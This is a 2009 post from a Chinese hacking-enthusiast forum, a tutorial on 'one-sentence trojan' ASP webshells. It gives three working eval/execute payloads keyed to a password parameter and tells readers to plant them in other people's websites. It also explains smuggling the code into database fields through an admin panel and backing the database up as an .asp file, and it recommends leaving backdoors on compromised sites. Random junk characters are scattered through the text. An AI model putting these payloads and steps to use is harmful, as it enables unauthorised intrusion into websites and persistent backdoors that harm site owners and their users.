【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
. ]0 Q; h2 t' S% k7 C# f
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~- G+ c% b0 S$ b# E$ _. C  ~2 v1 Y
. T+ d2 u# q3 |" O9 Y
: j8 G2 K* N) d5 p( R1 |; g
1、咱们先弄懂怎么使用的。

分为客户端和服务端
* H) E- y% A! p  ^! y

客户端是连接上去的程序，也可以是网页
2 J  @+ A3 M- U
http://www.3ast.com.cn/tool/yijuhua.html
8 I* Q. s# C9 x/ X5 P' Z
服务端就是一段代码，代码里有对应的“密码”( V1 [, D, C) u9 s  |4 B

提供三个服务端: 3 |# D' g$ q5 R+ k7 Q4 B
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%> 4 s7 R/ A0 |' w% u
3. <%execute(request("cnnsc"))%>

cnnsc--密码
/ Q" ^; I1 v/ _( m
我们只要把这个代码插入到对方网站的网页中就可以了, b2 f  d5 F8 T6 f- W; x* ^, t
4 u! \) @7 g) K% M3 o4 y" i& T
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
0 }* g+ h# f. i8 d1 W0 ~
换一个页面，添加过了。访问的时候一切正常，看链接
( M6 V" Y! M: \! |5 S$ x$ O
上传之后% O, h4 l( _: k- ]& q" ~1 [6 N

链接上去了
OK.这个就是链接的主要过程

5 t, k: |8 ?2 p8 h" x8 c
" R5 n- \2 f4 [- P

2、然后懂得哪里会用上、怎么用7 L8 a& O9 G8 ^
: j% i6 }7 a( ^& J+ X- X0 v
(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了, K/ v5 W- M1 m- T4 h# l, Y
7 X* \2 w) V; @; @
(2)可以给自己入侵的网站留下后门。。。。
4 G; c* l( m8 F
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。
3 Z; U! ?% f6 c  ^' r
好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27